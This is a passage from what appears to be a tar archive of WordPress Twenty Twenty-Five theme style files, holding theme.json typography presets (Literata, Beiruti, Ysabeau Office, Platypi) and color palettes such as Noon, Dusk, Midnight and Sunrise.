"var:preset|font-family|roboto-slab", "fontWeight": "300", "letterSpacing": "-0.5px", "lineHeight": "1.2" } } } } } themes/twentytwentyfive/styles/typography/typography-preset-1.json000064400000014306152335264760022021 0ustar00{ "version": 3, "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "title": "Beiruti & Literata", "slug": "typography-preset-1", "settings": { "typography": { "fontFamilies": [ { "name": "Beiruti", "slug": "beiruti", "fontFamily": "Beiruti, sans-serif", "fontFace": [ { "fontFamily": "Beiruti", "fontStyle": "normal", "fontWeight": "200 900", "src": [ "file:./assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2" ] } ] }, { "name": "Literata", "slug": "literata", "fontFamily": "Literata, serif", "fontFace": [ { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "Literata" } ] } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.9rem", "slug": "small" }, { "fluid": { "max": "1.2rem", "min": "1rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.8rem", "min": "1.6rem" }, "name": "Large", "size": "1.6rem", "slug": "large" }, { "fluid": { "max": "2.2rem", "min": "1.8em" }, "name": "Extra Large", "size": "1.8rem", "slug": "x-large" }, { "fluid": { "max": "2.8rem", "min": "2rem" }, "name": "Extra Extra Large", "size": "2rem", "slug": "xx-large" } ] } }, "styles": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.01em", "lineHeight": "1.6" }, "blocks": { "core/button": { "typography": { "fontFamily": "var:preset|font-family|beiruti" } }, "core/list": { "typography": { "lineHeight": "1.3" } }, "core/loginout": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/post-terms": { "typography": { "fontWeight": "300" } }, "core/pullquote": { "typography": { "fontFamily": "var:preset|font-family|beiruti", "fontWeight": "500", "lineHeight": "1" } }, "core/quote": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/query-pagination": { "typography": { "fontWeight": "300" } }, "core/site-tagline": { "typography": { "fontSize": "var:preset|font-size|small" } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|beiruti", "fontWeight": "600", "letterSpacing": "2.4px", "textTransform": "uppercase" } } }, "elements": { "h4": { "typography": { "fontSize": "var:preset|font-size|large" } }, "h5": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "0px" } }, "h6": { "typography": { "fontSize": "var:preset|font-size|small" } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|beiruti", "fontWeight": "500", "letterSpacing": "-0.02em", "lineHeight": "1.02" } } } } } themes/twentytwentyfive/styles/typography/typography-preset-5.json000064400000014777152335264760022041 0ustar00{ "version": 3, "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "title": "Literata & Ysabeau Office", "slug": "typography-preset-5", "settings": { "typography": { "fontFamilies": [ { "name": "Literata", "slug": "literata", "fontFamily": "Literata, serif", "fontFace": [ { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "Literata" } ] }, { "name": "Ysabeau Office", "slug": "ysabeau-office", "fontFamily": "\"Ysabeau Office\", sans-serif", "fontFace": [ { "src": [ "file:./assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2" ], "fontWeight": "100 900", "fontStyle": "normal", "fontFamily": "\"Ysabeau Office\"" }, { "src": [ "file:./assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2" ], "fontWeight": "100 900", "fontStyle": "italic", "fontFamily": "\"Ysabeau Office\"" } ] } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.875rem", "slug": "small" }, { "fluid": { "max": "1.125rem", "min": "1rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.375rem", "min": "1.125rem" }, "name": "Large", "size": "1.38rem", "slug": "large" }, { "fluid": { "max": "2rem", "min": "1.75rem" }, "name": "Extra Large", "size": "1.75rem", "slug": "x-large" }, { "fluid": { "max": "2.6rem", "min": "1.4rem" }, "name": "Extra Extra Large", "size": "2.6rem", "slug": "xx-large" } ] } }, "styles": { "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "letterSpacing": "-0.24px" }, "blocks": { "core/navigation": { "typography": { "fontSize": "1.25rem" } }, "core/post-title": { "typography": { "fontWeight": "900", "letterSpacing": "-0.96px" } }, "core/pullquote": { "typography": { "fontSize": "var:preset|font-size|xx-large" }, "elements": { "cite": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.14px" } } } }, "core/quote": { "elements": { "cite": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.14px" } } } }, "core/query-title": { "typography": { "fontWeight": "900" } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "textTransform": "uppercase", "letterSpacing": "1.6px" } } }, "elements": { "button": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "var:preset|font-size|medium", "fontWeight": "900", "letterSpacing": "-0.36px" } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontWeight": "900", "lineHeight": "1.2" } }, "h5": { "typography": { "letterSpacing": "0px" } }, "h6": { "typography": { "fontWeight": "900", "letterSpacing": "0px" } } }, "variations": { "post-terms-1": { "typography": { "fontSize": "var:preset|font-size|medium" } } } } } themes/twentytwentyfive/styles/typography/typography-preset-6.json000064400000013254152335264760022027 0ustar00{ "version": 3, "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "title": "Platypi & Literata", "slug": "typography-preset-6", "settings": { "typography": { "fontFamilies": [ { "name": "Platypi", "slug": "platypi", "fontFamily": "Platypi", "fontFace": [ { "fontFamily": "Platypi", "fontStyle": "normal", "fontWeight": "300 800", "src": [ "file:./assets/fonts/platypi/Platypi-VariableFont_wght.woff2" ] }, { "fontFamily": "Platypi", "fontStyle": "italic", "fontWeight": "300 800", "src": [ "file:./assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2" ] } ] }, { "name": "Literata", "slug": "literata", "fontFamily": "Literata, serif", "fontFace": [ { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "Literata" } ] } ] } }, "styles": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "1.5rem", "letterSpacing": "-0.24px", "lineHeight": "1.3" }, "blocks": { "core/navigation": { "typography": { "fontSize": "1.25rem" } }, "core/post-terms": { "typography": { "fontWeight": "400" } }, "core/post-title": { "typography": { "fontWeight": "800", "letterSpacing": "-0.96px" } }, "core/pullquote": { "typography": { "fontFamily": "var:preset|font-family|platypi", "fontSize": "var:preset|font-size|x-large", "letterSpacing": "-0.76px", "fontWeight": "800" }, "elements": { "cite": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontWeight": "400", "letterSpacing": "-0.14px" } } } }, "core/quote": { "typography": { "fontSize": "1.5rem", "fontWeight": "600", "letterSpacing": "-0.24px" }, "elements": { "cite": { "typography": { "letterSpacing": "-0.14px" } } } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|platypi", "fontSize": "30px", "fontWeight": "800", "letterSpacing": "-0.6px" } } }, "elements": { "button": { "typography": { "fontFamily": "var:preset|font-family|platypi", "fontSize": "1.5rem", "fontWeight": "800" } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|platypi", "fontWeight": "800" } } }, "variations": { "post-terms-1": { "typography": { "fontSize": "16px" } } } } } themes/twentytwentyfive/styles/02-noon.json000064400000022116152335264760015135 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Noon", "settings": { "color": { "palette": [ { "color": "#F8F7F5", "name": "Base", "slug": "base" }, { "color": "#191919", "name": "Contrast", "slug": "contrast" }, { "color": "#FFFFFF", "name": "Accent 1", "slug": "accent-1" }, { "color": "#F5B684", "name": "Accent 2", "slug": "accent-2" }, { "color": "#191919", "name": "Accent 3", "slug": "accent-3" }, { "color": "#5F5F5F", "name": "Accent 4", "slug": "accent-4" }, { "color": "#F1EEE9", "name": "Accent 5", "slug": "accent-5" }, { "color": "#19191933", "name": "Accent 6", "slug": "accent-6" } ] }, "typography": { "fontFamilies": [ { "name": "Beiruti", "slug": "beiruti", "fontFamily": "Beiruti, sans-serif", "fontFace": [ { "fontFamily": "Beiruti", "fontStyle": "normal", "fontWeight": "200 900", "src": [ "file:./assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2" ] } ] }, { "name": "Literata", "slug": "literata", "fontFamily": "Literata, serif", "fontFace": [ { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "Literata" } ] } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.9rem", "slug": "small" }, { "fluid": { "max": "1.2rem", "min": "1rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.8rem", "min": "1.6rem" }, "name": "Large", "size": "1.6rem", "slug": "large" }, { "fluid": { "max": "2.2rem", "min": "1.8em" }, "name": "Extra Large", "size": "1.8rem", "slug": "x-large" }, { "fluid": { "max": "2.8rem", "min": "2rem" }, "name": "Extra Extra Large", "size": "2rem", "slug": "xx-large" } ] } }, "styles": { "color": { "text": "var:preset|color|accent-4" }, "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.01em", "lineHeight": "1.6" }, "blocks": { "core/button": { "border": { "color": "var:preset|color|contrast" }, "shadow": "var:preset|shadow|natural", "spacing": { "padding": { "bottom": "0.6rem", "left": "1.6rem", "right": "1.6rem", "top": "0.6rem" } }, "typography": { "fontFamily": "var:preset|font-family|beiruti" }, "variations": { "outline": { "shadow": "none", "spacing": { "padding": { "bottom": "0.6rem", "left": "1.6rem", "right": "1.6rem", "top": "0.6rem" } } } } }, "core/list": { "typography": { "lineHeight": "1.3" } }, "core/loginout": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/post-terms": { "typography": { "fontWeight": "300" } }, "core/post-title": { "color": { "text": "var:preset|color|accent-3" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/pullquote": { "color": { "text": "var:preset|color|accent-3" }, "elements": { "link": { "color": { "text": "currentColor" } } }, "typography": { "fontFamily": "var:preset|font-family|beiruti", "fontWeight": "500", "lineHeight": "1" } }, "core/quote": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/query-pagination": { "typography": { "fontWeight": "300" } }, "core/query-title": { "color": { "text": "var:preset|color|accent-3" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/site-tagline": { "typography": { "fontSize": "var:preset|font-size|small" } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|beiruti", "fontWeight": "600", "letterSpacing": "2.4px", "textTransform": "uppercase" } } }, "elements": { "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" } }, "h4": { "typography": { "fontSize": "var:preset|font-size|large" } }, "h5": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "0px" } }, "h6": { "typography": { "fontSize": "var:preset|font-size|small" } }, "heading": { "color": { "text": "var:preset|color|accent-3" }, "typography": { "fontFamily": "var:preset|font-family|beiruti", "fontWeight": "500", "letterSpacing": "-0.02em", "lineHeight": "1.02" } }, "link": { "color": { "text": "currentColor" } } }, "variations": { "section-4": { "color": { "text": "var:preset|color|accent-2" }, "elements": { "button": { ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } } }, "heading": { "color": { "text": "currentColor" } }, "link": { "color": { "text": "currentColor" } } } }, "section-5": { "color": { "text": "var:preset|color|base" }, "elements": { "button": { ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } }, "heading": { "color": { "text": "var:preset|color|base" } }, "link": { "color": { "text": "currentColor" } } } } } } } themes/twentytwentyfive/styles/colors/03-dusk.json000064400000011323152335264760016432 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Dusk", "settings": { "color": { "palette": [ { "color": "#E2E2E2", "name": "Base", "slug": "base" }, { "color": "#3B3B3B", "name": "Contrast", "slug": "contrast" }, { "color": "#F5EDFF", "name": "Accent 1", "slug": "accent-1" }, { "color": "#650DD4", "name": "Accent 2", "slug": "accent-2" }, { "color": "#191919", "name": "Accent 3", "slug": "accent-3" }, { "color": "#5F5F5F", "name": "Accent 4", "slug": "accent-4" }, { "color": "#DBDBDB", "name": "Accent 5", "slug": "accent-5" }, { "color": "#3B3B3B33", "name": "Accent 6", "slug": "accent-6" } ] }, "custom": { "color": { "accent-2-opacity-20": "#650DD433" } } }, "styles": { "blocks": { "core/code": { "color": { "text": "var:preset|color|black", "background": "var:preset|color|accent-5" } }, "core/paragraph": { "elements": { "link": { "color": { "text": "var:preset|color|accent-2" } } } }, "core/post-author-name": { "color": { "text": "var:preset|color|accent-2" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-terms": { "color": { "text": "var:preset|color|accent-2" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-title": { "elements": { "link": { "color": { "text": "var:preset|color|accent-3" } } } }, "core/pullquote": { "color": { "text": "var:preset|color|black" }, "elements": { "cite": { "color": { "text": "var:preset|color|contrast" } } } }, "core/quote": { "color": { "text": "var:preset|color|black" } }, "core/site-title": { "color": { "text": "var:preset|color|accent-3" }, "elements": { "link": { "color": { "text": "var:preset|color|accent-3" } } } } }, "elements": { "button": { "color": { "text": "var:preset|color|base", "background": "var:preset|color|accent-2" }, "border": { "color": "transparent" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } } }, "heading": { "color": { "text": "var:preset|color|accent-3" } }, "link": { "color": { "text": "var:preset|color|accent-3" } } }, "variations": { "post-terms-1": { "elements": { "link": { "border": { "color": "var:custom|color|accent-2-opacity-20" } } } }, "section-1": { "elements": { "link": { "color": { "text": "var:preset|color|accent-3" } } } }, "section-2": { "color": { "text": "var:preset|color|base" }, "elements": { "button": { "color": { "background": "var:preset|color|accent-3", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-3) 85%, transparent)" } } }, "link": { "color": { "text": "currentColor" } }, "heading": { "color": { "text": "currentColor" } } } }, "section-3": { "color": { "text": "var:preset|color|accent-2" }, "elements": { "heading": { "color": { "text": "currentColor" } } } }, "section-4": { "color": { "text": "var:preset|color|base" }, "elements": { "button": { "color": { "text": "var:preset|color|base" }, ":hover": { "color": { "text": "var:preset|color|base" } } }, "link": { "color": { "text": "currentColor" } }, "heading": { "color": { "text": "currentColor" } } } }, "section-5": { "elements": { "button": { "color": { "background": "var:preset|color|accent-2", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)", "text": "var:preset|color|base" } } }, "heading": { "color": { "text": "var:preset|color|base" } }, "link": { "color": { "text": "var:preset|color|base" } } } } } } } themes/twentytwentyfive/styles/colors/02-noon.json000064400000005371152335264760016442 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Noon", "settings": { "color": { "palette": [ { "color": "#F8F7F5", "name": "Base", "slug": "base" }, { "color": "#191919", "name": "Contrast", "slug": "contrast" }, { "color": "#FFFFFF", "name": "Accent 1", "slug": "accent-1" }, { "color": "#F5B684", "name": "Accent 2", "slug": "accent-2" }, { "color": "#191919", "name": "Accent 3", "slug": "accent-3" }, { "color": "#5F5F5F", "name": "Accent 4", "slug": "accent-4" }, { "color": "#F1EEE9", "name": "Accent 5", "slug": "accent-5" }, { "color": "#19191933", "name": "Accent 6", "slug": "accent-6" } ] } }, "styles": { "color": { "text": "var:preset|color|accent-4" }, "blocks": { "core/button": { "border": { "color": "var:preset|color|contrast" } }, "core/post-title": { "color": { "text": "var:preset|color|accent-3" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/pullquote": { "color": { "text": "var:preset|color|accent-3" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/query-title": { "color": { "text": "var:preset|color|accent-3" }, "elements": { "link": { "color": { "text": "currentColor" } } } } }, "elements": { "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" } }, "heading": { "color": { "text": "var:preset|color|accent-3" } }, "link": { "color": { "text": "currentColor" } } }, "variations": { "section-4": { "color": { "text": "var:preset|color|accent-2" }, "elements": { "button": { ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } } }, "heading": { "color": { "text": "currentColor" } }, "link": { "color": { "text": "currentColor" } } } }, "section-5": { "color": { "text": "var:preset|color|base" }, "elements": { "button": { ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } }, "heading": { "color": { "text": "var:preset|color|base" } }, "link": { "color": { "text": "currentColor" } } } } } } } themes/twentytwentyfive/styles/colors/08-midnight.json000064400000005122152335264760017274 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Midnight", "settings": { "color": { "duotone": [ { "colors": [ "#4433A6", "#79F3B1" ], "name": "Midnight filter", "slug": "midnight-filter" } ], "palette": [ { "color": "#4433A6", "name": "Base", "slug": "base" }, { "color": "#79F3B1", "name": "Contrast", "slug": "contrast" }, { "color": "#5644BC", "name": "Accent 1", "slug": "accent-1" }, { "color": "#372696", "name": "Accent 2", "slug": "accent-2" }, { "color": "#251D51", "name": "Accent 3", "slug": "accent-3" }, { "color": "#79F3B1", "name": "Accent 4", "slug": "accent-4" }, { "color": "#E8B7FF", "name": "Accent 5", "slug": "accent-5" }, { "color": "#79F3B133", "name": "Accent 6", "slug": "accent-6" } ] } }, "styles": { "blocks": { "core/code": { "color": { "background": "var:preset|color|accent-2", "text": "var:preset|color|contrast" } }, "core/post-date": { "color": { "text": "var:preset|color|contrast" }, "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } } }, "elements": { "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)" } } } }, "variations": { "section-1": { "color": { "text": "var:preset|color|accent-3" }, "elements": { "button": { "color": { "background": "var:preset|color|accent-3", "text": "var:preset|color|accent-5" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-3) 85%, transparent)" } } }, "link": { "color": { "text": "currentColor" } } } }, "section-4": { "color": { "text": "var:preset|color|accent-5" }, "elements": { "button": { "color": { "background": "var:preset|color|accent-5", "text": "var:preset|color|accent-3" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-5) 85%, transparent)" } } }, "link": { "color": { "text": "currentColor" } } } } } } } themes/twentytwentyfive/styles/colors/07-sunrise.json000064400000012365152335264760017167 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Sunrise", "settings": { "color": { "palette": [ { "color": "#330616", "name": "Base", "slug": "base" }, { "color": "#FFFFFF", "name": "Contrast", "slug": "contrast" }, { "color": "#F0FDA6", "name": "Accent 1", "slug": "accent-1" }, { "color": "#DB9AB1", "name": "Accent 2", "slug": "accent-2" }, { "color": "#C1E4E7", "name": "Accent 3", "slug": "accent-3" }, { "color": "#DB9AB1", "name": "Accent 4", "slug": "accent-4" }, { "color": "#4A1628", "name": "Accent 5", "slug": "accent-5" }, { "color": "#DB9AB133", "name": "Accent 6", "slug": "accent-6" } ] } }, "styles": { "color": { "text": "var:preset|color|accent-2" }, "blocks": { "core/code": { "color": { "text": "var:preset|color|accent-2", "background": "var:preset|color|accent-5" } }, "core/post-author-name": { "color": { "text": "var:preset|color|contrast" }, "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/post-terms": { "color": { "text": "var:preset|color|contrast" }, "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/post-title": { "elements": { "link": { "color": { "text": "var:preset|color|accent-2" } } } }, "core/pullquote": { "color": { "text": "var:preset|color|accent-2" }, "elements": { "cite": { "color": { "text": "var:preset|color|accent-2" } } } }, "core/quote": { "color": { "text": "var:preset|color|accent-2" }, "elements": { "cite": { "color": { "text": "var:preset|color|accent-2" } } } }, "core/site-title": { "elements": { "link": { "color": { "text": "var:preset|color|accent-2" } } } } }, "elements": { "button": { "color": { "text": "var:preset|color|base", "background": "var:preset|color|accent-2" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } } }, "link": { "color": { "text": "var:preset|color|contrast" } } }, "variations": { "post-terms-1": { "elements": { "link": { "color": { "background": "var:preset|color|accent-5" }, "border": { "color": "var:preset|color|accent-5" } } } 